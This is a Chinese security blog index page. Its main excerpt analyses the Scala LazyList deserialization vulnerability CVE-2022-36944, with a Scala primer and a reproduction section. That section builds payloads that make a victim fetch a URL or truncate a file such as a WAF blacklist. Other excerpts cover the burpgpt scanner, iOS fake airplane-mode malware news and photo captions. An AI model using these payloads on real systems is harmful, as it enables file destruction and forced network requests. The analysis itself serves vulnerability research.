网站首页 关于作者 Bee 的所有文章

  • 基于LazyList的Scala反序列化漏洞透析(CVE-2022-36944)

    引言 前段时间打SCTF,大牛师傅们的WP后,在hello java那道题使用了CVE-2022-36944这个漏洞,但是查阅资料在国内乃至全世界互联网中没有找到相关分析文章,在github上找到了1个复现项目环境,研究了一些时间大概懂了一点。 没接触过Scala语言,虽然和java兼容性很强,但很多语言特性和机制都是第一次接触,而且有段时间没搞java安全了,这次相当于没有现成的分析文章,只能硬着头皮啃 POC复现环境 Github: lazylist-cve-poc “线索” For security, preventFunction0execution duringLazyListdeserialization 关于这个CVE的最详细的信息就是这位CVE发现者提交的issue,所以我能挖掘到的一切关于这个CVE的信息都是基于上面的POC环境和这个issue 利用条件 scala版本<2.13.9 允许用户伪造序列化字节流数据 前置知识 对于我本人来说,要钻透某个漏洞的话就必须要搞清楚是哪一步产生了漏洞,那么前提就是要了解这个漏洞产生流程的大框架,否则只针对链子上某点出现的反序列化干分析不仅枯燥难懂而且总感觉少了点什么 有Scala基础的师傅可以直接跳过这部分 Scala简介 Scala语言是一门多范式的编程语言,设计初衷是要集成面向对象编程和函数式编程的各种特性。Scala运行在Java虚拟机上,并兼容现有的Java程序。Scala源代码被编译成Java字节码,所以它可以运行于JVM之上,并可以调用现有的Java类库。 Scala和Java之间的联系很紧密,Scala可以看作是对Java语言的丰富和扩展,Scala比Java更加灵活和强大,支持更多的编程范式和语言特性,例如高阶函数、模式匹配、特质、偏函数、隐式转换等。 这个特性对于经验丰富的scala开发者来说很舒服,但对于第一次接触scala就要啃源码的人来说非常非常非常不友好,比如笔者 Scala也可以利用Java的丰富的生态系统,使用Java的各种框架和库。 Scala和Java之间的区别也很明显,Scala有自己的语法规则和风格,与Java有很多不同之处,例如变量声明、函数定义、类构造、异常处理、集合操作等。Scala还有一些Java没有的概念,例如伴生对象、样例类、富接口、自身类型等 基础语法即使不懂scala也差不多能看懂,所以不涉及语法糖或者比较新的机制的地方本篇文章不做论述 但scala代码的有些地方还是容易迷糊,所以在之后部分涉及到的语法看不懂的可以先自行学习一下 匹配器match Scala语言的匹配器match是一种强大的语法结构,它可以让你根据不同的条件对一个值进行分支处理,类似于Java中的switch语句,但是更加灵活和强大。 match的基本用法 // 定义一个值 val x = ... // 使用match对值进行匹配 x match { // 每个case表示一种匹配情况 case 条件1 => 结果1 // 如果x满足条件1,就返回结果1 case 条件2 => 结果2 // 如果x满足条件2,就返回结果2 ... case _ => 默认结果 // 如果x都不满足上面的条件,就返回默认结果,_表示任意值 }   当然,你也可以用其他字符表示默认结果,而与_的区别就是_作为接受其他情况的变量时不会赋予$值 object Main { def show(result:String):Unit={ println(result) } def main(args: Array[String]): Unit = { val x=11 val y=x match { case 1 => "one" case 2 => "two" case other => s"other: $other" // other是一个变量名,它会接收除了1和2以外的任何值 //case _ => s"other: $" //错误:Cannot resolve symbol _ } show(y) //other: 11   }} match可以匹配不同类型的值,比如整数、字符串、布尔值等,也可以匹配复杂的数据结构,比如列表、元组、样例类等。match还可以使用模式守卫来增加额外的判断条件,比如: x match { case 条件1 if 表达式1 => 结果1 // 如果x满足条件1,并且表达式1为真,就返回结果1 case 条件2 if 表达式2 => 结果2 // 如果x满足条件2,并且表达式2为真,就返回结果2 ...} match的其他用法 // 把match赋值给一个变量val result = x match { case 条件1 => 结果1 case 条件2 => 结果2 ...}   // 把match作为函数的参数def foo (y: Int) = {println (y)}foo (x match {case 条件1 => 结果1case 条件2 => 结果2...}) // 把match作为函数的返回值def bar (z: String): Boolean = z match {case "yes" => truecase "no" => falsecase _ => false}   总的来说,match是一个表达式,它有一个返回值 apply方法 apply方法是Scala中一个非常有用的特性,它可以让我们用一种简洁而直观的方式来创建和使用对象。 apply方法的本质是一个普通的方法,它可以定义在类或者对象中,但是它有一个特殊的语法糖,就是当我们用括号传递参数给一个类或者对象时,Scala会自动调用它的apply方法,并把参数传给它。 例如: // 定义一个类Person,有一个name属性class Person(val name: String)   // 定义一个伴生对象Person,有一个apply方法,接受一个name参数,返回一个Person实例object Person {def apply(name: String) = new Person(name)} // 创建一个Person实例,可以直接用Person("Alice"),而不需要用new Person("Alice")val alice = Person("Alice")//相当于Person.apply("Alice") // 打印alice的name属性,输出Aliceprintln(alice.name)   我们通过Person("Alice")这种方式创建了一个Person实例,而不需要用new关键字。这是因为Scala会把Person("Alice")转换成Person.apply("Alice"),也就是调用了伴生对象Person的apply方法,并把"Alice"作为参数传给它。这样就可以省略new关键字,让代码更简洁。 apply方法不仅可以定义在伴生对象中,也可以定义在类中。当我们对一个类的实例用括号传递参数时,Scala会调用该类的apply方法,并把参数传给它。 object Main {   def main(args: Array[String]): Unit = { class Person(val name: String){ //在类中定义apply方法,输出name def apply() :Unit = println(s"I am $name") } var p= new Person("lanb0") p()//相当于p.apply() //I am lanb0 }} 伴生对象 伴生对象是Scala中一种特殊的单例对象,它与一个同名的类存在于同一个文件中,这个类被称为伴生类。 伴生对象和伴生类之间有以下几个特点: 伴生对象和伴生类可以互相访问对方的私有成员,包括字段和方法。 伴生对象的成员相当于Java中的静态成员,可以直接通过对象名调用,而不需要创建对象实例。 伴生对象可以实现apply方法,用于创建伴生类的实例,这样就可以省略new关键字。 伴生对象可以实现unapply方法,用于实现模式匹配和提取器的功能。 伴生对象可以扩展一个或多个特质(trait),从而实现多重继承和混入(mixin)的效果。 下面是一个简单的例子,演示了伴生对象和伴生类的定义和使用: // 定义一个Person类,作为伴生类class Person(val name: String, val age: Int) { private val secret = "I love Scala"   def sayHello(): Unit = {println(s"Hello, I am $name, $age years old.")}} // 定义一个Person对象,作为伴生对象object Person { var count = 0 def increase(): Unit = {count += 1println(s"Person count: $count")} def showSec():Unit={println(apply("test",1).secret)} // 定义一个apply方法,用于创建Person类的实例def apply(name: String, age: Int): Person = {increase()new Person(name, age) // 返回新的Person对象} // 定义一个unapply方法,用于提取Person类的属性def unapply(person: Person): Option[(String, Int)] = {if (person == null) None // 如果person为空,返回Noneelse Some(person.name, person.age) // 否则返回Some元组}}object Main { def main(args: Array[String]): Unit = {// 使用伴生对象的apply方法创建Person类的实例,省略了new关键字val p1 = Person("Alice", 20)//Person count: 1val p2 = Person("Bob", 25)//Person count: 2 // 使用伴生对象的字段和方法 println(Person.count) // 输出2 Person.increase() // Person count: 3 Person.showSec()//输出Person count: 4 //I love Scala(伴生对象可以访问伴生类的私有成员) // 使用伴生类的字段和方法 /* println(p1.secret)// 无法访问私有成员 */ p1.sayHello() // 输出Hello, I am Alice, 20 years old. // 使用模式匹配和提取器,利用伴生对象的unapply方法 val p3=null p1 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Alice is 20 years old. case _ => println("Unknown person.") } p3 match { case Person(name, age) => println(s"$name is $age years old.") // 输出Unknown person. case _ => println("Unknown person.") } }}   特质trait Scala语言中,有一个Scala语言中,有一个重要的概念叫做特质(trait),它类似于Java语言中的接口,但是比接口更加强大和灵活。 特质(trait)是一种定义了一组抽象或具体的属性和方法的类型,它可以被类(class)或对象(object)扩展(extends)或混入(mix in)。 特质可以实现多重继承,也就是说,一个类可以继承多个特质,从而获得所有特质中定义的属性和方法。 特质的定义和使用 特质的定义使用关键字trait trait PersonBody { val height: Int}     但是特质不能被实例化,因此特质没有参数,也没有构造函数。像trait PersonBody(170)或者new PersonBody(170)这样的写法就是错的,可以类比java的接口无法实例化 要使用特质,可以使用extends关键字来扩展一个或多个特质 扩展单个特质 object Main { trait PersonBody { var height: Int } class Person(name : String) extends PersonBody{ override var height: Int = 170 } def main(args: Array[String]): Unit = { var person = new Person("Cloud") println(person.height) //170 }} 注意,重写(实现)属性或方法时,需要使用override关键字来修饰 trait的方法声明必须被实现 扩展多个特质 使用with关键字来连接 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby() } class Person(name : String) extends PersonBody with PersonHobby { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } }def main(args: Array[String]): Unit = {var person = new Person("Cloud")person.showHobby() }}   with后面可以跟with,来扩展很多特质 object Main { trait PersonBody { var height: Int } trait PersonHobby{ var hobbyGame="Honor of King : World" def showHobby():Unit } trait PersonScore{ var math="150" def showScore():Unit } class Person(name : String) extends PersonBody with PersonHobby with PersonScore { override var height: Int = 170   override def showHobby(): Unit = { println(hobbyGame) } override def showScore(): Unit = { println(math) } } def main(args: Array[String]): Unit = { var person = new Person("Cloud") person.showHobby() person.showScore() }}/*输出Honor of King : World150*/ 自身类型self-type self-type表示一个类或特质依赖于另一个类型,即它必须和另一个类型混入(mixin)才能被实例化。 用一个简单的例子来解释Scala自身类型的概念。假设你有一个宠物猫,它有一些属性和行为,比如名字、颜色、叫声等。你可以用一个类来表示它: class Cat { val name: String = "Tom" val color: String = "Gray" def meow(): Unit = println("Meow!")} 现在,你想给你的猫添加一些新的功能,比如会说话、会唱歌、会跳舞等。你可以用特质来定义这些功能: trait Talkative { def talk(): Unit}   trait Singer {def sing(): Unit} trait Dancer { def dance(): Unit} 但是,这些功能并不是所有的猫都有的,只有一些特殊的猫才有。比如,只有会说话的猫才能唱歌,只有会唱歌的猫才能跳舞。你怎么表示这种依赖关系呢?你可以用自身类型来做到这一点: trait Talkative { def talk(): Unit}   trait Singer {self: Talkative => // 声明自身类型,表示Singer依赖于Talkativedef sing(): Unit = {talk() // 可以直接使用Talkative的成员println("La la la...")}} trait Dancer { self: Singer => // 声明自身类型,表示Dancer依赖于Singer def dance(): Unit = { sing() // 可以直接使用Singer的成员 println("Shake shake shake...") }} 这样,你就可以给你的猫混入这些特质,让它变得更有趣: val tom = new Cat with Talkative with Singer with Dancer // 创建一个会说话、唱歌、跳舞的猫tom.talk() // 输出:Meow!tom.sing() // 输出:Meow! La la la...tom.dance() // 输出:Meow! La la la... Shake shake shake... 但是,如果你试图给一个不会说话的猫混入Singer或Dancer特质,就会报错: val jerry = new Cat with Singer // 报错:illegal inheritance; self-type Cat with Singer does not conform to Singer's selftype Singer with Talkativeval lily = new Cat with Dancer // 报错:illegal inheritance; self-type Cat with Dancer does not conform to Dancer's selftype Dancer with Singer 这是因为自身类型注解限制了混入特质的对象必须满足依赖类型的条件。这样可以保证对象在使用特质的成员时不会出现错误。 惰性列表LazyList(重点) LazyList是Scala 2.13版本引入的新的集合类型,它是一种惰性求值的列表。惰性求值的意思是,列表中的元素只有在需要的时候才会被计算,而不是一开始就全部计算好。这样可以节省内存和时间,也可以表示无限的序列。 State,head及tail 名称 类型 作用 state 字段 存储LazyList对象的状态,表示惰性序列的结构和计算状态 State 特质 定义LazyList对象的状态的特质,有两个子类:Cons和Empty tail 方法 返回一个新的LazyList对象,包含除了第一个元素之外的所有元素,惰性求值 head 方法 返回LazyList对象的第一个元素,严格求值 State private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A] } state private lazy val state: State[A] = { // if it's already mid-evaluation, we're stuck in an infinite // self-referential loop (also it's empty) if (midEvaluation) { throw new RuntimeException("self-referential LazyList or a derivation thereof has no more elements") } midEvaluation = true val res = try lazyState() finally midEvaluation = false // if we set it to true before evaluating, we may infinite loop // if something expects state to already be evaluated stateEvaluated = true lazyState = null // allow GC res } 通过lazyState()方法去计算State的head和tail,保证LazyList的实时状态正确 关键字lazy表示延迟计算,也就是使用到的时候才会计算出结果 工作原理(关键) 光看上面的这几个成员会让人很头大,所以我用了很长一段时间才把他们的内在联系和整个LazyList体系的运行机制搞明白了 首先,我们创建一个存有无限个数字"1"的LazyList val ones = LazyList.continually(1) 此时,我们println这个惰性列表,可以发现是全都没有计算的,会打印出LazyList(<not computed>) 之后,我们用drop方法取出第一个元素(索引为0),就要用到我们之前的head方法,返回LazyList对象的第一个元素。然后再次打印这个LazyList println(ones.drop(0).head)//1println(ones)//LazyList(1, <not computed>) 好了,到此结束,接下来我们分析一下LazyList的内部做了什么 内部流程 创建LazyList时,LazyList会接受一个参数lazyState(一般情况下用户不用管),这个lazyState是一个无参的匿名函数,这个匿名函数会返回一个State对象,这个State存储着head和tail方法 private sealed trait State[+A] extends Serializable { def head: A def tail: LazyList[A]} 这个匿名函数的head方法是:返回一个元素,这个元素是当前LazyList计算出的第一个元素 这个匿名函数的tail方法是: 返回一个新的LazyList,存储着除了第一个元素之外的其他元素(这里的"存储"并不是实际存在的,更恰当的说是表示其他元素的一个集合) 注意,此时匿名函数并没有被调用,也就是说state字段的head和tail都还没有实现 到目前为止,LazyList里面一个实际存储的元素都没有,所以会显示LazyList(<not computed>) 接下来,我们调用了方法来取出第一个元素 LazyList会使用state.head来获取第一个元素,此时需要用到state,所以懒加载的state字段开始初始化 private lazy val state: State[A] = { state字段在初始化过程中,会调用lazyState()方法,这个lazyState就是LazyList的构造器接受的那个匿名函数。 val res = try lazyState() finally midEvaluation = false lazyState方法执行完后会返回一个State对象,这个State的head方法返回数字1,而tail方法返回一个新的存着无限个1的LazyList LazyList使用state.head方法获取到结果之后,把结果返回给drop.head的方法调用者 之后,如果未来还要取新的元素,那么我们所使用的LazyList就是tail方法返回的那一个新的存有无限个1的LazyList,而刚开始创建的那个LazyList就被垃圾回收器收走了 通过这个流程,我们可以看出惰性列表的本质,就是不停地用方法去取值,而不是一开始就存着[1,1,1,1,1......]在内存中 LazyList如何实现序列化与反序列化(关键) SerializationProxy类,它是一个序列化代理,它是用来代替LazyList对象进行序列化和反序列化的类。 官方注解 翻译过来就是: 序列化代理用于将LazyList转换成一个可以存储或者传输的格式。 这个序列化代理适用于那些以一系列已经计算出来元素开头的LazyList。这些已经计算出来的元素会以一种紧凑的顺序格式进行序列化,然后跟着未计算出来的元素,它们使用标准的Java序列化方式来存储未计算出来的元素的结构。这样就可以实现对长的已经计算出来的惰性序列的序列化,而不会因为递归地序列化每个元素而耗尽栈空间。 序列化 private[this] def writeObject(out: ObjectOutputStream): Unit = { out.defaultWriteObject() var these = coll while(these.knownNonEmpty) { out.writeObject(these.head)//这里决定了POC里的createLazyList中,为什么需要设置一个空的state these = these.tail } out.writeObject(SerializeEnd) out.writeObject(these) } 流程可以分为以下几步: 调用out.defaultWriteObject()方法,这是一个标准的序列化操作 使用一个while循环遍历LazyList对象中已经计算出来的元素,并且使用out.writeObject方法将每个元素序列化 遇到第一个未计算出来的元素时,跳出循环 序列化一个特殊的标记SerializeEnd,表示已经计算出来的元素结束了 使用out.writeObject方法将未计算出来的元素(也就是LazyList对象的tail)进行序列化 序列化结束 反序列化 private[this] def readObject(in: ObjectInputStream): Unit = { in.defaultReadObject() val init = new ArrayBuffer[A] var initRead = false while (!initRead) in.readObject match { case SerializeEnd => initRead = true case a => init += a.asInstanceOf[A] } val tail = in.readObject().asInstanceOf[LazyList[A]] coll = init ++: tail } 流程可以分为以下几步: 调用in.defaultReadObject()方法,这是一个标准的反序列化操作。 创建了一个名为init的数组缓冲区,用来存储已经计算出来的元素。 使用一个while循环反序列化每个元素,并且判断是否是特殊的标记SerializeEnd。 如果不是,就将该元素添加到init数组缓冲区中; 如果是,就表示已经计算出来的所有元素都已经反序列化完了,跳出循环。 反序列化剩余的没有计算出的元素,并将其类型转换为LazyList 使用++:方法连接init和tail,重构LazyList 反序列化结束 漏洞分析 CVE-2022-36944的产生原因,简单来说就是scala的LazyList在反序列化时会调用一个无参匿名函数来更新LazyList的状态,而这个函数是是可以被控制的 首先是ObjectInputStream.readObject方法接受到伪造的序列化字节流之后,尝试反序列化LazyList,进而把控制权转交给SerializationProxy类的readObject方法 执行到++:方法, 跟进++:(没想到吧,我是个方法) 可以看到调用了prependedAll方法,但是在LazyList中重写了这个方法 跟进knownIsEmpty方法, 这里要让stateEvaluated为true,否则不会执行isEmpty方法 跟进isEmpty方法, 跟进state字段, 跟进LazyState函数,可以发现就是LazyList构造器接受的无参匿名函数 最终我们只需要提前将这个函数替换为符合条件的任意函数,就可以达到漏洞利用的效果 如何找到可利用的方法 从LazyList的构造器的参数定义中,可以看出,lazyState的要求是一个无参的匿名函数,其次这个CVE利用的是函数,并不能RCE,所以我们还需要找到标准java库或者scala库中可以使用的无参匿名函数 我们需要知道,在Scala中,所有无参匿名函数都会被编译器转换为实现了Function0接口的实例对象, 假如我们有以下代码: object Main { def main(args: Array[String]): Unit = { //定义一个匿名函数a val a=()=>{} }} 用scalac编译为class字节码 scalac Main.scala javap反编译 javap Main$.class scala编译器会为每一个伴生对象创建一个对象名(类名)+$结尾的类,类中的MODULE$静态成员就是伴生对象自身,存有自身的所有属性和方法 或者直接复制以下代码 object Main { class test(val func:()=>Int){ def show(): Unit = { func() } }} 然后Ctrl+左键查看func的类型信息 可以看到编译器自动将func所表示的匿名函数转换为了Function0的实现对象 那么接下来的任务,就是要找到实现了Function0的所有类 查看POC中的DefaultProviders类,发现使用的都是以$$anonfun$$lessinit$greater$x 结尾的类,这些类 scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3scala.sys.process.ProcessBuilderImpl$FileInput$$anonfun$$lessinit$greater$2scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1 这里再稍微说一下这些类名是如何生成的,以scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1为例 Scala编译器在编译Scala代码时,会将匿名函数转换成Java字节码,这样就可以在Java虚拟机上运行。为了与Java兼容,Scala编译器会为每个匿名函数生成一个类,并给这个类一个特殊的名字,通常是anonfun加上一些数字和符号。这个类名的作用是唯一地标识这个匿名函数,以便在运行时调用。 $URLInput:表示ProcessBuilderImpl的内部类 $$anonfun:表示匿名函数的前缀,表示这是一个自动生成的类。 $$lessinit$greater:是<init>的转义形式,表示这个匿名函数是在构造器中定义的。 $1:是匿名函数的序号,表示这是第一个匿名函数。 去追踪一下这个类,发现最多只能看到URLInput类 那如果直接用URLInput行不行呢,尝试把代码改一下 public static Function0<Object> urlInput(Object[] args){ try { URL url = new URL((String) args[0]); return ReflectionUtil.newInstance("scala.sys.process.ProcessBuilderImpl$URLInput", new Class[]{ ProcessBuilder$.class, URL.class}, new Object[] { ProcessBuilder$.MODULE$,url});//这里要用ProcessBuilder的实例对象,否则报错 } catch (MalformedURLException e) { throw new RuntimeException(e); }   }   生成一下payload 发现报错,这是因为URLinput就是一个正常的类,而不是由Scala编译器转换过来的匿名函数,无法转换为Function0 所以说不能直接用URLinput作为利用方法 再回到scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1,以及URLInput类的那行定义, class URLInput(url: URL) extends IStreamBuilder(url.openStream(), url.toString) 猜测:当一个类继承了一个父类,并且这个被继承的父类的构造参数调用了子类构造参数的方法时,scala编译器会生成一个 带有$$anonfun$$lessinit$greater$类名的类。 做一个实验, class a(){ def msg(): String = { return "i am class a" }}class b (name:String)class c(url:a) extends b(url.msg()) 用sbt 生成字节码,查看生成的class 并没有生成带有$$anonfun$$lessinit$greater$类名的类,感觉还是忽略了什么 去查看IStreamBuilder类,也就是被URLInput继承的类, 发现其第一个构造参数如下 stream: => InputStream 这里的=>可不是()=>{}的简写,而是一个新的概念,叫做传名参数 传名参数是一种特殊的参数类型,它表示参数的值不是在函数调用时就确定,而是在函数体内每次使用时才计算。 可以理解为惰性求值,需要传入一个函数 更改实验代码: package zhb   class a(){ def msg(): String = { return "i am class a" }}class b (name: =>String)//这里注意冒号和等号之间的空格class c(url:a) extends b(url.msg()) clean一下,然后stb编译 多出来了c$$anonfun$$lessinit$greater$1.class, url.msg()即使改为一个带有参数的方法,也依然会生成同名类 观察其字节码可以发现其调用的a.msg() 到此为止,类比推理一下,我们终于明白scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1这个编译器自动生成的类其实就是url.openStream()方法转换而来的, 也就是说,在LazyList计算state时使用的LazyState(),经过我们精心构造后被替换为了url.openStream()方法 对应的可利用函数还有如下: 对于url.openStream(),虽然他自身并不是匿名函数,理应是一个函数返回值。 但是因为自己是被作为传名参数调用的,这个方法只会再被需要使用时执行,所以会存留方法的引用或者说实现。 object HelloWorld { def main(args: Array[String]) { def msg(): Unit = { println("msg used!") } class a(age: => Unit) {//传名参数 } new a(msg()) //什么都不会输出 }} 又因为是作为父类的构造参数,所以scala编译器会为父类的传名参数生成一个实现了Function0类的子类,即使这个参数的实现方法参数可能不为0 对于FileInputStream和FileOutputStream的new方法,同理 综上所述,CVE-2022-36944的可利用方法的符合条件如下: 1.作为传名参数被使用 2.满足(1)的同时,作为父类的构造参数 3.存在于受害者服务环境中的classpath中 有兴趣的师傅可以再找找有没有其他可利用方法 漏洞复现 poc.cve.lazylist.payload.Main更改为Base64方式输出 public class Main { public static void main(String[] args) throws IOException { ....   String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64); } } victim改为对Base64进行反序列化 public class Victim { public static void main(String[] args) throws IOException { String data="rO0........."; deserialize(Base64.getDecoder().decode(data));   } } urlInput 起一个http服务或者dnslog, public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "http://url"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.URL_INPUT); byte[] payload = payloadGenerator.generatePayload(fileToTruncate); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行 可以接受到http请求,但是无法弹shell fileOutput 这个payload可以用来清空文件内容,比如黑名单 或者打开一个追加流,但没什么用 比如我们创建一个waf.txt,随便写点东西 public class Main { public static void main(String[] args) throws IOException { String fileToTruncate = "文件的绝对路径"; PayloadGenerator payloadGenerator = new LazyList(DefaultProviders.FILE_OUTPUT); boolean append=false;//清空文件 byte[] payload = payloadGenerator.generatePayload(fileToTruncate,append); String base64=Base64.getEncoder().encodeToString(payload); System.out.println(base64);   } } 生成payload后,复制给poc.cve.lazylist.victim.Victim的data变量,执行后清空文件内容 fileInput 文件输入流是用来读取文件的,所以在不能使用方法的前提下没什么用 心得感悟 断断续续用了一周左右的时间,从对scala的代码都看不懂到写完这篇文章,期间走了很多弯路,甚至想放弃,直到现在都无法相信自己能硬啃下来这个CVE,所以说,坚持不一定有好的结果,但一定会有收获。 最后,请允许我以崇高的敬意给予挖掘0day的安全研究员们  ...

    2023-08-20 255
  • burpgpt:一款集成了OpenAI GPT的Burp Suite安全漏洞扫描扩展

    关于burpgpt burpgpt是一款集成了OpenAI GPT的Burp Suite安全漏洞扫描扩展,该扩展可执行额外的被动扫描以发现高度定制的漏洞,并支持运行任何类型的基于流量的分析。 burpgpt支持利用人工智能的力量来检测传统扫描工具可能遗漏的安全漏洞。它将网络流量发送到用户指定的OpenAI模型,从而在被动扫描工具中进行复杂的分析。该扩展提供了可定制的提示,使定制的网络流量分析能够满足每个用户的特定需求。 该扩展将在扫描完成后自动生成一份安全报告,并根据用户的提示和Burp发出的请求中的实时数据总结潜在的安全问题。通过利用人工智能和自然语言处理,该扩展简化了安全评估过程,并为安全专业人员提供了扫描应用程序或终端节点的更高级别概述。这使他们能够更容易地识别潜在的安全问题并优先进行分析,同时也覆盖了更大的潜在攻击面。 功能介绍 1、添加了被动扫描检查,允许用户通过占位符系统将HTTP数据提交到OpenAI控制的GPT模型进行分析。 2、利用OpenAI的GPT模型进行全面的流量分析,能够检测扫描应用程序中的安全漏洞之外的各种问题; 3、允许精确调整最大提示长度,可以对分析中使用的GPT令牌数量进行精细控制; 4、为用户提供多种OpenAI模型选择,使他们能够选择最适合自己需求的模型; 5、允许用户自定义提示,并释放与OpenAI模型交互的无限可能性; 6、与Burp Suite集成,为预处理和后处理提供所有本地功能,包括直接在Burp UI中显示分析结果,以实现高效分析; 7、通过本机Burp事件日志提供故障排除功能,使用户能够通过OpenAI API快速解决通信问题; 工具要求 1、Linux、macOS或Windows; 2、JDK v11+; 3、Burp Suite最新专业版或最新社区版; 4、Gradle v6.9+; 工具安装 首先,我们需要确保已经正确安装并配置好了Gradle。 接下来,使用下列命令将该项目源码克隆至本地: git clone https://github.com/aress31/burpgpt cd .\burpgpt</pre> 然后切换到项目目录中,构建单独的jar文件: ./gradlew shadowJar 现在,我们需要将扩展加载进Burp Suite中。首先,,我们需要切换到Extensions标签页并点击Add按钮,然后 选择.\lib\build\libs目录中的burpgpt-all jar文件并加载即可。 工具使用 广大研究人员需要在工具的设置面板中配置下列参数: 1、有效的OpenAI API密钥; 2、选择一个OpenAI模块; 3、定义max prompt大小; 4、根据需求调整提示: 配置完成后,即可执行扫描并发送请求,随后工具将生成分析结果: 工具使用样例 识别Web应用程序(使用了包含安全漏洞的加密库)中的潜在安全漏洞: Analyse the request and response data for potential security vulnerabilities related to the {CRYPTO_LIBRARY_NAME} crypto library affected by CVE-{CVE_NUMBER}:         Web Application URL: {URL}   Crypto Library Name: {CRYPTO_LIBRARY_NAME}   CVE Number: CVE-{CVE_NUMBER}   Request Headers: {REQUEST_HEADERS}   Response Headers: {RESPONSE_HEADERS}   Request Body: {REQUEST_BODY}   Response Body: {RESPONSE_BODY}       Identify any potential vulnerabilities related to the {CRYPTO_LIBRARY_NAME} crypto library affected by CVE-{CVE_NUMBER} in the request and response data and report them. 通过分析跟身份验证过程相关的请求和响应来扫描Web应用程序中的安全漏洞(使用了生物身份验证技术): Analyse the request and response data for potential security vulnerabilities related to the biometric authentication process:     Web Application URL: {URL}   Biometric Authentication Request Headers: {REQUEST_HEADERS}   Biometric Authentication Response Headers: {RESPONSE_HEADERS}   Biometric Authentication Request Body: {REQUEST_BODY}   Biometric Authentication Response Body: {RESPONSE_BODY}   Identify any potential vulnerabilities related to the biometric authentication process in the request and response data and report them. 分析无服务器功能之间交换的请求和响应数据以发现潜在的安全漏洞: Analyse the request and response data exchanged between serverless functions for potential security vulnerabilities:     Serverless Function A URL: {URL}   Serverless Function B URL: {URL}   Serverless Function A Request Headers: {REQUEST_HEADERS}   Serverless Function B Response Headers: {RESPONSE_HEADERS}   Serverless Function A Request Body: {REQUEST_BODY}   Serverless Function B Response Body: {RESPONSE_BODY}   Identify any potential vulnerabilities in the data exchanged between the two serverless functions and report them. 通过分析请求和响应数据,扫描针对单页应用程序(SPA)框架潜在的安全漏洞: Analyse the request and response data for potential security vulnerabilities specific to the {SPA_FRAMEWORK_NAME} SPA framework:     Web Application URL: {URL}   SPA Framework Name: {SPA_FRAMEWORK_NAME}   Request Headers: {REQUEST_HEADERS}   Response Headers: {RESPONSE_HEADERS}   Request Body: {REQUEST_BODY}   Response Body: {RESPONSE_BODY}   Identify any potential vulnerabilities related to the {SPA_FRAMEWORK_NAME} SPA framework in the request and response data and report them. 许可证协议 本项目的开发与发布遵循Apache-2.0开源许可证协议。 项目地址 burpgpt:【GitHub传送门】 参考资料 https://burpgpt.app/ https://github.com/aress31/burpgpt#example-use-cases  ...

    2023-08-20 229
  • 小困熊,世界上的事情就是这样,山的那边是海,深夜的尽头是光。#jk拍照姿势

    小困熊,世界上的事情就是这样,山的那边是海,深夜的尽头是光。#jk拍照姿势  9p ...

    2023-08-20 257
  • 小米,永远做自己生活里的主角#黑丝袜大长腿

    小米,永远做自己生活里的主角#黑丝袜大长腿 ...

    2023-08-20 229
  • 黑客拍卖”访问权限“,最高要价 12 万美金;苹果iOS16曝出新漏洞:飞行模式下依旧可连接网络

    苹果iOS16曝出新漏洞:飞行模式下依旧可连接网络   </p> 近日,网络安全研究人员发现iOS 16存在一种新的漏洞利用后持久化技术,即使受害者的苹果设备处于离线状态,也可以利用该技术悄无声息地访问该设备。 Jamf Threat Labs 的研究人员 Hu Ke 和 Nir Avraham 在与 The Hacker News 分享的一份报告中提到:这种方法诱使受害者认为他们设备的飞行模式正常工作,而实际上攻击者在成功利用设备后已经植入了一个虚假的人工飞行模式,该模式会编辑用户界面以显示飞行模式图标,并切断除攻击者应用程序外所有应用程序的互联网连接。 飞行模式允许用户关闭设备中的无线功能,从而有效阻止设备连接到 Wi-Fi 网络、蜂窝数据和蓝牙,以及收发电话和短信。 简而言之,Jamf 设计的这种方法会给用户造成一种 "飞行模式 "已开启的假象,但同时又允许恶意行为者悄悄地为恶意应用程序链接蜂窝网络。 研究人员解释说:当用户打开飞行模式时,网络接口 pdp_ip0(蜂窝数据)将不再显示 ipv4/ipv6 ip 地址。蜂窝网络断开就无法使用,至少在用户看起来是这样。 虽然底层更改由 CommCenter 执行,但用户界面(UI)的修改,如图标转换,则由 SpringBoard 负责。   因此,攻击的目的是设计一种人为的飞行模式,使用户界面的变化保持不变,但为通过其他方式安装在设备上的恶意有效载荷保留蜂窝连接。研究人员说:在没有 Wi-Fi 连接的情况下启用飞行模式后,用户会认为打开 Safari 会显示无法连接互联网。然后会弹出一个通知窗口,提示用户关闭飞行模式。为了实现这个情境,CommCenter 守护进程被用来阻止特定应用程序的蜂窝数据访问,并通过一个挂钩函数将其伪装成飞行模式,该函数会改变警报窗口,使其看起来就像飞行模式的设置已经被打开了。值得注意的是,操作系统内核通过回调例程通知 CommCenter,CommCenter 再通知 SpringBoard 显示弹出窗口。研究人员对 CommCenter 守护进程的进行仔细检查后还发现了一个SQL数据库的存在,该数据库用于记录每个应用程序的蜂窝数据访问状态(又称捆绑 ID),如果某个应用程序被阻止访问蜂窝数据,该数据库就会将标志值设置为 "8"。利用这个已安装应用程序捆绑 ID 数据库,就可以使用以下代码有选择地阻止或允许应用程序访问 Wi-Fi 或蜂窝数据。当与上述其他技术相结合时,这个虚假的'飞行模式'就会看起来与真实的'飞行模式'一样,只是互联网禁令不适用于非应用程序进程,例如后门木马。 黑客拍卖”访问权限“,最高要价 12 万美金   Bleeping Computer 网站披露,某黑客声称入侵了一家大型拍卖行的内部网络系统,并向愿意支付 12 万美元的人提供访问权限。 据悉,安全研究人员对 72 个帖子进行抽样分析时,在一个以提供初始访问代理(IAB)市场而闻名的黑客论坛上发现了这则“广告”。 “昂贵”的网络访问权限 威胁情报公司 Flare 的研究人员在俄语黑客论坛 Exploit 上分析 IAB 三个月(5 